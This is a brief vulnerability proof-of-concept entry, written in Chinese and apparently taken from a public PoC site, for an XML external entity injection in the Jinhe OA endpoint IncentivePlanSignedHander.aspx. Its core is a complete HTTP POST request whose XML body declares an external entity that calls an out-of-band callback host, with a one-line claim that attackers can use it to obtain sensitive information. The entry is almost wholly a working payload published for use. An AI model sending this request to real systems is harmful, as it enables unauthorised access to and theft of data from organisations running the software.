金和OA IncentivePlanSignedHander.aspx 存在XML注入漏洞

2025-10-22 金和OA PoC Public

Description

攻击者可构造恶意请求获取敏感信息。

PoC

POST /c6/JHSoft.Web.IncentivePlan/IncentivePlanSignedHander.aspx/?type=saveitemjudgement HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 158
Content-Type: application/Xml
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://d3qqel9lt95jmc599a70ri18fy3dbxbbf.oast.online" >]>
<value>&xxe;</value>

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://www.ddpoc.com/DVB-2025-10285.html

References

Related Vulnerabilities